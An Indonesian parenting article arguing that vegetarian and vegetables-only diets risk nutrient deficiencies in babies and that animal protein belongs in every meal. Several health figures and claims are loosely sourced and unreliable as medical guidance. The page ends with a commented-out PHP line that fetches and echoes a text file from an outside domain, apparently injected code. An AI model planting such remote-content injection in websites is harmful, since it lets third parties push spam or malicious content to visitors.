Pola Makan Vegetarian Untuk Bayi, Boleh?

Pola Makan Vegetarian Untuk Bayi, Boleh?

 

pixabay



Membesarkan bayi dengan diet vegetarian berarti tidak memberinya makan berbahan hewani seperti daging; ayam, sapi, ikan dan makanan laut lainnya. Salah satu pencetus tren makan vegetarian untuk bayi adalah aktris Alicia Silverstone. “Bayi tidak keluar dari rahim hanya untuk makan ceker ayam,” tulisnya dalam buku The Kind Mama.
 
Belum ada penelitian yang mengungkapkan manfaat anak menjadi vegetarian. Menurut Dr. Damayanti Rusli Sjarif, Sp.A(K), staf Sub Bagian Gizi dan Penyakit Metabolik Anak, Bagian Ilmu Kesehatan Anak, FKUI, Jakarta, makanan si kecil mesti mengandung 7 nutrisi lengkap, yaitu kalori, protein, vitamin B12, vitamin D, zat besi, kalsium, dan seng. Jangan sampai pola makan vegetarian menyebabkan gangguan kesehatan anak serta defisiensi vitamin dan mineral.
 
Pola makan vegetarian pada bayi, menurut Dr. Morey Haymond, pakar endokrin anak dari Texas Children’s Hospital and Baylor College of Medicine, AS, berisiko membuat anak kekurangan beberapa jenis asam amino pembentuk protein karena bayi membutuhkan asupan gizi lengkap dan seimbang dari beragam bahan makanan.

Bayi dan anak-anak membutuhkan daging (daging merah) karena:

1. Sumber protein lengkap, yaitu asam amino esensial yang diperlukan untuk meningkatkan fungsi kognitif, meingkatkan antibodi dan kekebalan tubuh sehingga anak tidak mudah sakit. 

2. Mendukung pertumbuhan tulang dan otot untuk mendukung aktivitas fisik anak . Penelitian pada orang dewasa vegetarian menunjukkan bahwa orang dewasa vegetarian memiliki kepadatan tulang 4% lebih rendah dibanding yang tidak vegetarian. Tulang pinggang orang dewasa vegetarian 6% lebih rendah dari yang seharusnya. 

3. Memberikan energi tambahan dari protein dan lemak sehingga menstabilkan gula darah dan mencegah anak ngidam zat tepung. 

4. Mendukung perkembangan otak, organ penting dalam tubuh. Kandungan vitamin B6 dan B12 dalam daging penting untuk meningkatkan daya pikir, mencegah gangguan keseimbangan, mencegah timbulnya rasa kebas dan sensasi tergelitik pada anggota gerak. Kandungan zat besi penting untuk memroduksi lapisan pelindung saraf otak. Meski sayuran juga mengandung zat besi, tetapi lebih sulit diserap oleh tubuh dibanding zat besi yang berasal dari daging. 

5.  Memelihara rambut karena untuk pertumbuhan rambut diperlukan vitamin B, zinc dan zat besi. Penelitian pada orang dewasa yang tidak mengonsumsi daging, kerontokan rambut sering terjadi. 


Perhatikan!
- Dokter anak di Indonesia menyarankan untuk tidak memberikan terlalu banyak sayur pada bayi karena kandungan seratnya yang tinggi dapat menghambat penyerapan zat besi.

- Sertakan protein hewani selalu pada MPASI dan menu makan anak.

- Sebaiknya Anda tidak memaksakan anak menjadi vegetarian karena metode ini bisa membuat si kecil kekurangan nutrisi yang bisa diperoleh dari protein hewani.




Bagaimana dengan green food? Sama seperti vegetarian dan vegan, metode ini berarti bayi Anda tidak makan apa pun selain sayuran hijau hingga usianya mencapai 1 tahun.
 
Seperti vegetarian juga, belum ada penelitian yang mengungkapkan manfaat anak mengonsumsi sayuran hijau saja.
 
Anak tidak akan mendapatkan cukup zat besi untuk pertumbuhan dan perkembangannya jika ia hanya makan sayuran hijau. Ia juga akan kekurangan protein dan nutrisi penting lainnya yang bisa didapat dari konsumsi daging, ikan, susu, atau kacang-kacangan. Si kecil juga tidak akan terbiasa mencicipi berbagai macam rasa makanan hingga usia 1 tahun jika ia makan sayur saja.
 
Perhatikan!
Anda boleh saja berikan bayi sayuran hijau yang berlimpah, tapi tetap sertakan protein hewani.


(SAN/IRM)
Direvisi 24/02/22


Baca juga:
Pro Kontra MPASI Vegetarian untuk Bayi
Bolehkah Balita Jadi Vegan? Pertimbangkan Hal Berikut Ini
Bolehkah Bayi dan Balita Jadi Vegetarian?

 

 



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>